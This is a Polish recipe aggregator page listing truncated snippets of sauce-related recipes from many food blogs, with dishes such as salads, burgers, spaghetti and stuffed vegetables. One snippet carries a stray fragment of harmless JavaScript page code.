kotleciki, a dzisiaj zrobiłem coś takiego: Składniki: cukinia kalarepa marchewka cebula cukrowa papryka czerwona pomidor 2 ząbki czosnku natka pietruszki oliwa z oliwek do smażenia przyprawy: sól, pieprz, oregano, sos sojowy Cebulę i czosnek kroimy w kostkę i podsmażamy na patelni na oliwie z oliwek ze szczyptą soli, dodajemy pokrojoną marchew, paprykę i kalarepę. Smażymy pod przykryciem, od czasu

Gotuj z Misiem
Sajgonki 977

kurczaka mieszanka chińska mrożona – 1 opakowanie 6 liści kapusty pekińskiej 1 jajko 2 łyżki ketchupu 1 łyżka mąki kiełki – ½ opakowania 1 ząbek czosnku mieszanka przypraw do kuchni chińskiej sos sojowy jasny olej do smażenia Pierś z kurczaka kroimy w kostkę, przyprawiamy i podsmażamy na patelni. Dodajemy warzywa mrożone i drobno pokrojoną kapustę. Pod koniec smażenia dodajemy posiekany czosnek, kiełki oraz

Gotuj z Misiem
Zupa orientalna 216

szczypior – 1 pęczek czosnek – 1 ząbek mleko kokosowe – 200 ml makaron ryżowy – 100 gram sok z ½ cytryny sezam – 2 łyżki płatki suszonej papryki – 2 łyżki sos sojowy  –  4 łyżki przyprawy: pieprz, kolendra, chili Grzyby mun płuczemy, zalewamy gorącą wodą, odstawiamy na 15 minut i odcedzamy. Kurczaka kroimy w kostkę i przyprawiamy. Marchew i pora kroimy w słupki, zalewamy

Gotuj z Misiem
Burgery z pieczarkami 227

Postanowiłem zużyć resztę pergaminu, który kupiłem do przygotowania pstrąga z sosem cytrynowym. Usmażenie w nim piersi z kurczaka, zgodnie z przepisem na opakowaniu, byłoby zbyt banalne:) Pomyślałem, że można w nim usmażyć burgery (miałem zresztą jeszcze mięso mielone, bo jak zwykle za dużo kupiłem do zrobienia pulpecików). Wyszły bardzo smaczne, a dzięki pergaminowi nie były tłuste i łatwo się

Gotuj z Misiem
Sałatka paryska z kurczakiem 2620

coś konkretnego. Po przeglądzie lodówki i krótkiej burzy mózgów, postanowiliśmy z Misią zrobić sałatkę paryską. Podobną do tej, jaką podają w mojej ulubionej pizzerii: ze smażonymi ziemniakami, kurczakiem i sosem czosnkowym. Ciężka i sycąca, w sam raz po pracowitym dniu. Doskonale sprawdza się także po imprezowym wieczorze, zamiast kebaba:) Czytaj dalej

Gotuj z Misiem
Tortilla z kurczakiem i mango 377

robiłem zakupy byłem pewien, że mam w domu paczkę placków do tortilli. Jakież było moje rozczarowanie, gdy okazało się, że w paczce nie ma placków, a są tylko jakieś sosy w proszku :( Postanowiłem się nie poddawać i nie zmieniać planów, a ponieważ nie chciało mi się drugi raz iść do sklepu, zrobiłem placki samodzielnie. Po tym doświadczeniu doszedłem do wniosku

Gotuj z Misiem
Steki z rekina smażone w pergaminie 256

steki były bardzo delikatne i bałem się, że nie uda mi się usmażyć ich w jednym kawałku, zdecydowałem się na smażenie w pergaminie (podobnie jak w przypadku pstrąga z sosem cytrynowym ), tym razem jednak nie korzystałem z "gotowców":) Czytaj dalej

Gotuj z Misiem
Steki marynowane w winie i chutney z żurawiną 269

Celebro Argentina . Na etykietce były 3 rysuneczki, podpisane: grill, steak, beef – czyli wszystko pasuje :) Po ostatnich doświadczeniach z chutney'em mango postanowiłem poeksperymentować i zrobiłem kolejną wersję tego sosu, z wykorzystaniem marynaty w której moczyły się steki. Czytaj dalej

Gotuj z Misiem
Babka kartoflana z grzybkami 347

cebulą i pieprzem — rondelek wysmarować masłem, wysypać miałką bułeczką i układać na przemian: warstwę kartofli i grzybów z dodaniem miałkiej bułeczki, na wierzchu kartofle—ze smaku grzybów zrobić sos z mąką, masłem i łyżką śmietany. Nasz Dom(Tygodnik mód i powieści), 21/27-06-1913” Źródło: http://100lattemu.pl/index.php/styl-zycia/kulinaria2/88-przepisy/4597-babka-kartoflana-z-grzybkami Czytaj dalej

Gotuj z Misiem
Tołkanica 431

sposoby: smażoną na patelni lub pieczoną. Chciałem spróbować czegoś nowego, a nie usmażyć ziemniaki z boczkiem i cebulą, więc zdecydowałem się na wersję pieczoną. Tołkanicę można podać z sosem lub ze śmietaną, ale całkiem nieźle smakuje bez dodatków. Czytaj dalej

Gotuj z Misiem
Sałatka z białej kapusty 2250

Przyjęcie grillowe to nie tylko grillowanie to również sałatki i sosy. Tym razem proponuję sałatkę z białej kapusty która świetnie pasuje to wszelkiego rodzaju mięsnych wypieków grillowych. Składniki : 2 kg białej kapusty 3 kolorowe papryki 3 czerwone cebule pęczek koperku 2 łyżki soli 300 gram cukru 250 ml oleju rzepakowego 200 ml octu 1 litr wody mineralnej gazowanej Przygotowanie : Kapustę

Mechanik grilluje
Fasolka z kurczakiem duszonym - prawie gotowiec. 174

porcja duszonego kurczaka z puszką fasolki w sosie pomidorowym. Do tego ziemniaki puree i w błyskawicznie mamy dobry obiadek Czytaj więcej

Buniabaje w kuchni
Sałatka z tuńczykiem, jajkiem i brokułami 992

Brokuły gotujemy na parze i studzimy. Jajka gotujemy na twardo, studzimy i kroimy w kostkę. Cebulę i dymkę ze szczypiorkiem siekamy. Majonez mieszamy z jogurtem. Wszystkie składniki mieszamy, dodajemy sos majonezowy i doprawiamy solą i pieprzem. Smacznego :) function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp

Mienta blog
Smażone kiełbaski z cebulą 215

smażonej kiełbasie dodaje wędzona papryka i tymianek. Smażone kiełbaski z cebulą często przygotowuję na śniadanie lub na kolację. Właściwie nadają się również na obiad, jako szybki posiłek tzw. SOS, kiedy nie mamy pomysłu, kiedy nie mamy czasu, albo kiedy mamy na nie ochotę Lubię kiełbasę smazoną z cebulą, albo lubię na smazonej kiełbasie przygotowywać jajecznicę: Jajecznica na kiełbasie ze szczypiorkiem

Damsko-męskie spojrzenie na kuchnię
Sałatka z truskawkami i serem blue 178

kostkę. Truskawki pokroić w ćwiartki. Winogrona przekroić na pół. Wszystkie pokrojone składniki ułożyć na sałacie. W słoiczku wymieszać oliwę, sok z cytryny, musztardę z odrobiną soli ziołowej. Gotowym sosem skropić sałatkę i podawać

Monia miesza i gotuje
Kakaowe muffiny z Tabasco i skórką pomarańczową 194

200g mąki tortowej 100g cukru 1 łyżeczka proszku do pieczenia 0,5 łyżeczki sody 1,5 łyżki kakao 125ml oleju 125ml jogurtu naturalnego lub maślanki 1 jajko 1 łyżeczka sosu Tabasco  80-100g kandyzowanej skórki pomarańczowej Przygotowanie: Do miski wsypujemy mąkę, cukier, proszek do pieczenia, sodę, kakao i skórkę pomarańczową. Mieszamy. W osobnym naczyniu łączymy mokre składniki: olej

Ze smakiem i z pasją
Rozgrzewająca czekolada na gorąco 225

ustępuje miejsca słonecznej pogodzie :) Jeszcze lepiej smakuje na wygodnej kanapie, w towarzystwie dobrej książki :) Spróbujcie!  Składniki: 100ml mleka 1/2 tabliczki czekolady (najlepiej gorzkiej) szczypta cynamonu 2-3 kropelki sosu Tabasco (lub kawałeczek chilli) Przygotowanie: Mleko zagotować z Tabasco lub odrobiną posiekanej/suszonej papryczki chilli oraz cynamonem. Po zagotowaniu zdjąć garnek z palnika i dodać do mleka pokruszoną czekoladę.  Mieszać

Ze smakiem i z pasją
Szybkie danie z makaronem pełnoziarnistym 362

znaczy mniej smacznego :) Wczoraj powstało więc szybkie danie makaronowe z warzywami i szynką. Jest ono świetnym przykładem na to, że makaron wcale nie musi być podawany z ciężkim sosem żeby był smaczny. Do takiego dania możecie dodać właściwie wszystko to, co lubicie i akurat macie w lodówce. Najlepiej posypcie je świeżymi ziołami (bazylia? oregano? tymianek?), to danie aż się

Ze smakiem i z pasją
Wegetariańskie spaghetti 185

opakowaniu. Cebulę i czosnek drobno posiekać i podsmażyć chwilę na oleju. Paprykę i cukinię umyć i pokroić w kostkę. Dodać do cebuli. Po chwili dodać puszkę pomidorów i gotować sos do miękkości warzyw. Można podlać odrobiną wody. Przyprawić pieprzem i solą oraz posiekaną drobno bazylią. Podawać ze świeżo ugotowanym makaronem. Można posypać startym serem. Smacznego

Ze smakiem i z pasją
Sałatka makaronowa po meksykańsku 22008

wodzie.  Pierś z kurczaka i paprykę pokroić w drobną kostkę. Fasolę i kukurydzę odsączyć na sitku. Wszystkie składniki wymieszać. Ząbki czosnku obrać i zmiksować z majonezem i jogurtem. Sos dodać do sałatki, wymieszać i doprawić do smaku solą i pieprzem. Smacznego

Ze smakiem i z pasją
Pikantne skrzydełka i ziemniaczki z rozmarynem z piekarnika 250

Skrzydełka: 12 skrzydełek z kurczaka 3 łyżki miodu 6 łyżek oleju 6 łyżek wody 4 ząbki czosnku 4 pełne łyżeczki słodkiej papryki 3 płaskie łyżeczki chili w proszku lub sosu tabasco  opcjonalnie 2 łyżeczki przyprawy gyros Ziemniaki: 1 kg małych ziemniaków sól  suszony lub świeży rozmaryn kilka łyżek oleju opcjonalnie szczypiorek do posypania po upieczeniu Przygotowanie : Do naczynia

Ze smakiem i z pasją
Domowe burgery 224

piekarniku przekrojone na pół bułki (przed włożeniem do piekarnika posmarować spody ketchupem i położyć po plasterku sera). Gdy bułki i kotlety są już ciepłe, górne części bułek posmarować sosem czosnkowym, na spody nałożyć pozostałe składniki i połączyć obie części.  Smacznego

Ze smakiem i z pasją
Pasta z tuńczyka z papryką 228

zastąpi smarowidła ze sklepu, które zazwyczaj są pełne konserwantów. Najlepiej smakuje ze świeżą pszenną lub żytnią bagietką. Składniki na miseczkę pasty: 250 g gładkiego twarożku 1 puszka tuńczyka w sosie własnym 1 mała czerwona papryka 1/2 niewielkiej papryczki chili 1/2 cebuli odrobina soli i pieprzu do smaku Przygotowanie: Paprykę, chili i cebulę pokrój w bardzo drobną kosteczkę lub rozdrobnij

Ze smakiem i z pasją
Mini gołąbki w liściach botwiny 164

botwiny, więc postanowiłam przygotować z nich gołąbki. Pozostałam przy mięsie wieprzowym, ale zamiast ryżu dodałam kaszę jęczmienną. Do tego świeża natka pietruszki i przyprawy. Coś nowego. Podałam je z sosem kurkowym i koperkiem. Smacznego! Składniki: 500 g wieprzowego mięsa mielonego 1 woreczek ugotowanej kaszy jęczmiennej 1/2 pęczka natki pietruszki sól, pieprz ziołowy około 20 liści buraczanych (sporej wielkości

Pasja Smaku
Grillowany łosoś w czosnkowej marynacie 223

Pogoda się poprawiła więc trzeba pogrillować. Polecam rozpływajacego się w ustach grillowanego łososia  w lekko pikantnej marynacie czosnkowej na bazie oliwy i sosu teriyaki. Łososia duży kawałek więc wystarczy dla 4 osób.  składniki: 1 kg filetu z łososia norweskiego bez skóry 8 łyżek oliwy 4-5 ząbków czosnku 4 łyżki soku z cytryny 2 łyżeczki słodkiej papryki

Monia miesza i gotuje
KIMBAP 김밥 (WERSJA WEGETARIAŃSKA) 240

omletem, z grzybami, tuńczykiem z puszki. Ja proponuję wersję wegetariańską. "Bap" po koreańsku znaczy gotowany ryż, a "Gim" to sprasowane algi. Kimbap podajemy z kimchi, sosem sojowym i danmuji (piklowanymi rzodkiewkami). CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
TORTILLA 172

Tortilla, na którą zaprezentuje poniżej przepis, pochodzi z kuchni meksykańskiej. Jest to płaski placek, w który możemy zawinąć dowolne nadzienie, jak choćby mieszankę kurczaka, warzyw i dowolnego sosu. W innym poście przedstawiam przepis na " Fajitas ", które przygotowuje się z tortillą. CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
FAJITA Z KURCZAKIEM 294

podawana była tylko z mięsem wołowym. Teraz coraz częściej można kupić fajitę przygotowaną na bazie kurczaka i taki przepis zaprezentuję poniżej. To jedzenie wyjątkowo polepszające nastrój. Przygotowałam je z sosem czosnkowym i tortillą domowej roboty . CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
SPAGHETTI ALLA CARBONARA 296

sobie nawet odrobiny śmietany a jedynie jajka. Ach no i nie ma jeszcze natki pietruszki, czosnku i pieczarek. Popełniłam te małe kulinarne grzeszki, żeby uzyskać jeden z moich ulubionych sosów. Mam nadzieję, że Włosi mi wybaczą ;). CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
NALEŚNIKI PO BOLOŃSKU 4022

Wykonanie: Ewa Rybińska, Zdjęcie: Aleksandra Rybińska Ostatni z przepisów mojej mamusi :). Moja mama umieściła go na www.polska-gotuje.pl: Naleśniki z sosem bolońskim . To ostatnimi czasy mój ulubiony obiad :) Polecam na zimowe wieczory. Rozgrzeje i nasyci :). CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
PODSUMOWANIE AKCJI "HISTORIA NA TALERZU" 222

Astor - Waldorf    (artykuł) - Szarlotka a'la Carmen Sylva  (artykuł) -  Tournedos a'la Rossini  (artykuł) - Zrazy a'la Nelson  (artykuł) Eat.Read - Domowy sos prosto z wysp na St. Lawrence River - Sałatka Olivier po latach Emma Gotuje - Sałatka Waldorf Filozofia smaku - Sałatka Waldorf Green Plums - Sałatka Waldorf Kuchenne wędrówki Shinju - Sałatka Waldorf Life of a Polish

Przepisy Aleksandry
TORTA DE TRES LECHES (Polish & English) 205

albo w Nikaragui. W smaku jest waniliowe, mocno wilgotne. Prawdopodobnie będę je piec ponownie. Tradycyjnie podaje się je z bitą śmietaną. Zrobiłam małe odstępstwo i podałam z pysznym gęstym sosem owocowym. Przepis zaadoptowałam z książki "Warm bread and honey cake" autorstwa Gaitri Pagrach-Chandra. CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
GRILLOWANA PIERŚ KURCZAKA 295

używana w tradycyjnej kuchni prowansalskiej). Mieszankę, która sprzedawana jest od 1970 roku cieszy się wciąż rosnącą popularnością. Powrót do zdrowego jedzenia potęguje jej znaczenie. Zioła nadają się idealnie do sosów, sałatek czy grillowanego drobiu (przepis poniżej). Lubię posypać nimi grzanki. Lawendowe morze w Prowansji (tapeta z Windows 7) CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
ZUPA TROCHĘ KOREAŃSKA 380

nakazuje jej użycie. Gdzie kupić gochujang? W internecie sporo sklepów zajmuje się jej sprzedażą. Przy okazji rozglądnijcie się za doenjang (pasta ze sfermentowanej soi) i gangjang (coś w rodzaju sosu sojowego zrobionego ze sfermentowanej soi). CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
BLINY NOWOGRODZKIE, czyli pszenno-gryczane 198

dań kuchni kresowej. Wszyscy nasi wschodni sąsiedzi mają swoją recepturę na te drożdżowe placuszki. Bliny najczęściej podaje się z rybami, kawiorem, ale można też na słodko lub z mięsnymi sosami. Muszę przyznać, że smakują mi dużo bardziej niż pampuchy . Przepis: Hanny Szymanderskiej Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię

Przepisy Aleksandry
Co to jest: HARISSA Z PŁATKAMI RÓŻY? 189

należy wetrzeć przyprawę w mięso i odstawić je do lodówki przynajmniej na noc. Można też połączyć proszek z równymi ilościami ciepłej wody i oliwy i powstanie świetny dodatek do sosów

Przepisy Aleksandry
Co to jest: MAFTOUL? 222

szklankę maftoul zalej dwiema szklankami bulionu i gotuj przez około 15 minut. Maftoul można używać zamiennie z ryżem, kuskusem czy bulgur. Idealnie nadaje się do letnich sałatek, bliskowschodnich sosów. 57 gramów maftoul zawiera: 1 g tłuszcz (nasycony) 0 mg cholesterol 8 mg sód 51 g węglowodany (w tym 4 g cukry) 9 g białko 0%* witaminy

Przepisy Aleksandry
SZASZŁYKI, CZYLI ZDROWY I SZYBKI OBIAD 6181

Szaszłyki można przygotowywać nie tylko latem, ale przez cały rok na domowych grillach elektrycznych lub w piekarniku. To szybkie danie podawaj z różnymi sosami (mój ulubiony to czosnkowy ) i kolorowymi sałatami. Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Twoje dzieło

Przepisy Aleksandry
SCHAB PIECZONY ZE ŚLIWKAMI NADZIEWANYMI CZOSNKIEM 179

Schab to zdecydowanie moje ulubione mięso. Uwielbiam je w sosach czy właśnie w pieczeniach. Wersja ze śliwkami i czosnkiem była (i jest) przygotowywana przez moją Mamę już od kilkunastu (kilkudziesięciu?) lat. Mam nadzieję, że zasmakuje Wam tak samo jak nam :). Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy

Przepisy Aleksandry
LINGUINE AGLIO, OLIO E PEPERONCINO 212

Aglio, olio e peperoncino to makaron z oliwą, czosnkiem i chilli. Jest to danie pochodzące z włoskiego regionu Abruzzo. Tradycyjnie sos podaje się ze spaghetti, ale według mnie linguine też dobrze pasuje :). Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Wasze

Przepisy Aleksandry
KANAPKA SOUVLAKI Z KURCZAKIEM, FETĄ I GRILLOWANYMI POMIDORAMI 386

Recipe in English ) Nie jest to tradycyjny przepis na souvlaki, ale moja wersja tego dania. Możecie podać danie z sosem tzatziki, ale nie jest konieczne. Według mnie grillowane pomidorki dodają wystarczająco dużo soczystości potrawie. Przepis na chlebki pita: klik! Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach

Przepisy Aleksandry
SURÓWKA Z CZERWONEJ KAPUSTY I OGÓRKÓW KISZONYCH 398

Zapraszam na przepyszną i zdrową surówkę. Nam najbardziej smakuje podana do gulaszu po cygańsku (i nie przeszkadzają nam ogórki i w surówce i w sosie ;) ). Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Wasze dzieło). CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
ŁATWY I SMACZNY OBIAD: KURCZAK NADZIEWANY POMIDORAMI I SURÓWKA MARCHEWKOWA Z CZOSNKIEM 383

Zabiegana ostatnimi czasy miałam naprawdę mało czasu na dobry obiad. Kiedyś w kolejce nawiązałam rozmowę z panią z Rosji, która podała mi ciekawy przepis na smażoną marchewkę z sosem czosnkowym. Postanowiłam w końcu ją zrobić i podać do niej prostego kurczaka z suszonymi pomidorami. Obiad podawaj z ziemniaczanym puree z dodatkiem czosnku (moje ziemniaki zapiekłam). Jeżeli przygotowałaś/eś danie

Przepisy Aleksandry
BUŁECZKI Z MASŁEM PIETRUSZKOWO-CZOSNKOWYM 369

Świetne bułeczki o mocno czosnkowym smaku. Idealne do mięsnych sosów czy grilla. Polecam :) Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Wasze dzieło). CZYTAJ WIĘCEJ I PRZEJDŹ DO PRZEPISU

Przepisy Aleksandry
ROLADA ZIEMNIACZANA NADZIEWANA MIĘSEM I BOCZKIEM 513

Jeżeli zostaną Wam ziemniaki po obiedzie i nie macie na nie pomysłu, to polecam przygotowanie szybkiej ziemniaczanej rolady. Będzie idealnym dodatkiem do sosu. Rolada idealnie sprawdzi się na rodzinne spotkania, jak Wielkanoc czy komunijne przyjęcie. Polecam spróbować, bo naprawdę jest genialna! Ewa :) Przepis ze zdjęciami krok po kroku. Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie

Przepisy Aleksandry
PRZEKĄSKI Z CIASTA NA PIZZĘ (PALUCHY I ŚLIMACZKI) 4559

niego pyszne, chrupiące przekąski. Oglądając ciekawy film lub spędzając wieczór przy piwie, miło jest zjeść coś dobrego. Takie ślimaczki i paluchy można podawać na zimno lub ciepło z dowolnymi sosami. Polecam :) Przepis ze zdjęciami krok po kroku . Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach

Przepisy Aleksandry
Spaghetti z Pomidorami, Grzankami i Migdałami 214

średnim ogniu. Zsypałam je na talerzyk, a na patelnię wlałam pozostałą oliwę, na której usmażyłam pokrojony w kostkę chleb do momentu zrumienienia. Odcedziłam makaron, przełożyłam do patelni z sosem pomidorowym, wsypałam migdały i grzanki i wszystko razem wymieszałam dokładnie, na końcu wsypałam parmezan, przemieszałam i przełożyłam na talerze. SMACZNEGO życzy BLONDYNKA :) /*post zawiera lokowanie produktu - wok firmy Ballarini linii Granitium

Blondynka Gotuje
Panna cotta z mango 194

przygotowałam w nieco fantazyjny sposób, jednak możecie je również zrobić w taki sposób jak opisywałam przy okazji różanej panna cotty czyli w kokilkach, a mus z mango wykorzystać jako sos do polania po wyłożeniu na talerz. Czyż nie wygląda kusząco? Zapraszam do wykonania! :-) Czytaj więcej » Ten i więcej przepisów znajdziesz na blogu kulinarnym www.poracoszjesc.pl

Pora coś zjeść
Sałatka z truskawkami i camembertem 295

ćwiartki. Camemberta pokroić na małe kawałki. Pokrojone składniki ułożyć na sałacie. Płatki migdałowe uprażyć na suchej patelni i posypać sałatkę. Olej, sok pomarańczowy i miód wymieszać w słoiczku. Gotowym sosem polać sałatkę i podawać

Monia miesza i gotuje
Ślimaczki z pomidorowym wywarem z gołąbków 245

Wyjęłam z zapasów duży krokiet i wywar z duszenia gołąbków . Jak robię gołąbki to z reguły wywaru nam za dużo . Mrożę go i wykorzystuję potem jako bazę na sos , zupę

Buniabaje w kuchni
Cukinia nieco bardziej wykwintna, czyli sposób na niedzielny obiad 260

Doprawiamy do smaku przyprawami: solą, pieprzem, mieloną słodką papryką, ziołami prowansalskimi oraz czosnkiem. Teraz dodajemy koncentrat pomidorowy i całość mieszamy. Zostawiamy na ogniu jeszcze chwilę, w razie potrzeby redukujemy sos, by nie był zbyt rzadki. Tak przygotowane nadzienie nakładamy do łódeczek z cukinii. Cukinia gotowa do włożenia do piekarnika Obie połówki warzywa umieszczamy w natłuszczonym naczyniu żaroodpornym i zapiekamy

Ratunku obiad
Niebanalne kotlety mielone + ryż z warzywami 375

przesmażamy paprykę, ale tak by została nieco chrupiąca. Ryż odcedzamy i mieszamy z warzywami. Prawda jakie proste? A jakie dobre. Pasuje do wielu rzeczy, a kiedy dodamy do niego sos, np. beszamelowy lub na bazie sera pleśniowego typu "Lazur" (albo podobnego, z zieloną/niebieską pleśnią) może stanowić samodzielne danie. Nasz pyszny obiadek :) Dzisiejsze pomysły są smaczne, tanie i szybkie

Ratunku obiad
Naleśniki ze szpinakiem 273

przepis podawałam przy okazji krokietów -  klik ) 2 piersi z kurczaka opakowanie mrożonego szpinaku (rozdrobnionego) - 400 g 250 ml płynnej śmietanki 18% 3-4 łyżki masła mąką do zagęszczenia sosu przyprawy: sól, pieprz, gałkę muszkatołową, granulowany czosnek Na początku smażymy naleśniki, choć równie dobrze możemy to zrobić w czasie, gdy farsz się dusi. Masło roztapiamy w rondelku i podsmażamy

Ratunku obiad
Nieco inne pierogi 259

pierogi, ale występują także w innych kształtach. Natomiast farsz i ciasto raczej odbiegają od tego, co znamy. Wypełnienie pierożków mogą stanowić same warzywa lub z mięsem czy kiełbasą w sosie pomidorowym. Ciasto bywa francuskie, chlebowe, pierogowe, a także bardzo kruche i delikatne. Podawane są zazwyczaj z różnymi dipami śmietanowymi, jogurtowymi lub z salsą. Stanowią ciekawą odmianę i alternatywę dla polskich

Ratunku obiad
Zimowa sola sauté 195

osób) Należy przygotować: 2 duże filety z soli 1/2 cytryny 1 ząbek czosnku 200 g świeżego szpinaku 2 łyżki kwaśnej śmietany 18% (najlepiej takiej do zup lub sosów) 100 g naturalnego, brązowego ryżu przyprawy: sól, czarny pieprz, rozmaryn 1 łyżeczka masła 1 łyżka oleju do smażenia Na początek wstawiamy wodę na ryż. W czasie, kiedy się gotuje, filety oprószamy solą

Ratunku obiad
Roladki z polędwicy wieprzowej i sezonowych warzyw 277

wszelkich pustych kalorii. Kilka propozycji tego typu obiadów pojawiło się już na blogu. np.  minizapiekanki z rybą i warzywami ,  zimowa sola sauté ,  nietypowe klopsiki w delikatnym sosie pomidorowym ,  delikatna zupa porowa z kukurydzą i kurczakiem ,  proste i szybkie, wegetariańskie leczo ,  zupa pomidorowo-imbirowa z zieloną soczewicą . Przyzwyczajam się do tego, by piec, zamiast smażyć

Ratunku obiad
Makaron z zielonymi szparagami. 313

Dodajemy zmiażdżony czosnek, doprawiamy solą. Gotujemy makaron spaghetti. Do szpinaku dodajemy ugotowane i pokrojone w talarki szparagi. Mieszamy. W tym momencie możemy również dodać łyżkę śmietany. Do powstałego sosu dodajemy ugotowany al'dente makaron i mieszamy dokładnie. Wykładamy na talerz, a na wierzch układamy główki szparagów. Posypujemy świeżo zmielonym pieprzem. Smacznego

Miksturownik
Bakłażan faszerowany 255

pozostałą, posiekaną cebulę, dodać czosnek i pomidory, gotować na małym ogniu do momentu zgęstnienia. Doprawić solą, pieprzem i bazylią. Wydrążone bakłażany napełnić farszem. Na dno naczynia do zapiekania wylać sos pomidorowy. ułożyć nadziane bakłażany, posypać startym serem. Zapiekać przez ok. 40-50 minut w temp. 200C, do czasu aż bakłażany zmiękną. Podawać na gorąco. Smacznego! Wyliczenia: bakłażany (z promocji

Obiad za dychę
Spaghetti z pesto z rukoli 226

Dodać czosnek, ser, oliwę i ponownie miksować aż do uzyskania dość gęstej masy. Jeśli pesto wydaje się zbyt gęste, można dodać jeszcze trochę oliwy, aż do uzyskania pożądanej konsystencji. Sos wymieszać z makaronem i natychmiast podawać. Wyliczenia: makaron 2,30 zł rukola 1,54 zł czosnek 0,3 zł oliwa 1,1 zł ser typu parmezan 2,43 zł migdały

Obiad za dychę
Wraps z kurczakiem z papirusa :) 481

pieprzem. Warzywa mieszamy razem, polewamy oliwą i doprawiamy delikatnie solą. Wrapsy wrzucamy na 3 min. do piekarnika nagrzanego do 150 stopni. Po wyciągnięciu ich z piekarnika smarujemy je sosem jogurtowo - paprykowym. Układamy na środku warzywa i pokrojonego w paski kurczaka. Zawijamy - jak kto lubi. I oto mamy przepyszny obiad!!! Kurczak jest super soczysty i naprawdę dobrze doprawiony. Cała masa warzyw

Miksturownik
Deser z kaszy manny wg. Ewy Wachowicz. 508

blasze układamy herbatniki i wylewamy na nie gorącą masę. Przykrywamy pozostałymi herbatnikami. Pozostawiamy do ostygnięcia a później wkładamy do lodówki na co najmniej 2 godziny. Można podawać z sosem owocowym. Smacznego

Miksturownik
Roladki z kurczaka z orzechami i oliwkami. 244

płaty mięsa wykładamy farsz i i rolujemy mięso. Zawijamy w folię i układamy w naczyniu żaroodpornym. Zapiekamy w 180 stopniach przez około 40 min. Podałam z ziemniaczkami pieczonymi i sosem grzybowym. Polecam! Smacznego

Miksturownik
Lasagne z góralskim akcentem... 358

Składniki: pierś kurczaka; 200 g pieczarek; cebula duża; 200 g oscypka; 1/2 puszki kukurydzy; 6 płatów lasagne; sól, pieprz, papryka ostra; 1 łyżka oliwy z oliwek. Zaczynamy od przygotowania sosu beszamelowego przepis  tu . Kurczaka kroimy w kostkę, cebulę również. Pieczarki kroimy w "talarki". Oscypka ścieramy na tarce. Na rozgrzaną oliwę wrzucamy kurczaka, pieczarki i cebulę. Doprawiamy solą, pieprzem

Miksturownik
Po prostu kopytka... 179

się, że dania typu kopytka czy kluski śląskie są mega pracochłonne... Nic bardziej mylnego :) Nie można zapomnieć o uczuciu satysfakcji, gdy wszyscy się nimi zajadają. Kopytka z sosem pieczarkowym i serem. Kopytka. Składniki dla 4 osób: 700 g ziemniaków; 150 g mąki + mąka do podsypania; 1 jajko; 1/2 łyżeczki soli. Obrane i umyte ziemniaki gotujemy w osolonej wodzie

Miksturownik
Makaron z krewetkami w maśle i czosnku. 230

drobno pokrojony czosnek. Skropione sokiem z cytryny krewetki wrzucamy na patelnie. Smażymy bardzo krótko. W międzyczasie gotujemy makaron. Przed odcedzeniem odlewamy 1/2 szkl. wody. Do krewetek dodajemy pietruszkę. Jeśli sosu jest mało podlewamy pozostawioną z makaronu wodą. Doprawiamy świeżo mielonym pieprzem i ewentualnie solą. Na patelnię przekładamy makaron, mieszamy i możemy podawać. Smacznego

Miksturownik
Zapiekanka makaronowa z boczkiem, szynką i ... 291

sosem na bazie mascarpone, śmietany i czosnku, czyli różności pozbierane z lodówki i skomponowane w jedno, jak się później okazało, wielce smakowite, danie:) Czytaj więcej

Zdrowa Kuchnia Sowy
Sałatka z wędzonym pstrągiem 250

Zrobiłam ją kilka dni temu, cyknęłam zdjęcia, ale zapomniałam zapisać jaki sos i teraz się głowię co ja tam dodawałam;) W każdym razie odkąd odkryłam, że pstrąg istnieje również w opcji wędzonej, odtąd go często kupuję! I pomyślałam, że skoro zapiekanka z rybą wędzoną była taka smaczna, to dlaczego nie zrobić sałatki z taką rybą? Zrobiłam więc:) Czytaj więcej

Zdrowa Kuchnia Sowy
Fasolka ze szpinakiem i suszonymi pomidorami 184

Zostało mi po zupie z dorszem 1/2 wiązki szpinaku, a że miałam ochotę na fasolkę inną niż zwykle, to wymyśliłam do niej coś w rodzaju sosu szpinakowego. Miałam na końcu zmiksować, ale zostawiłam w takiej postaci jak zrobiłam i był to pomysł bardzo dobry:) Czytaj więcej

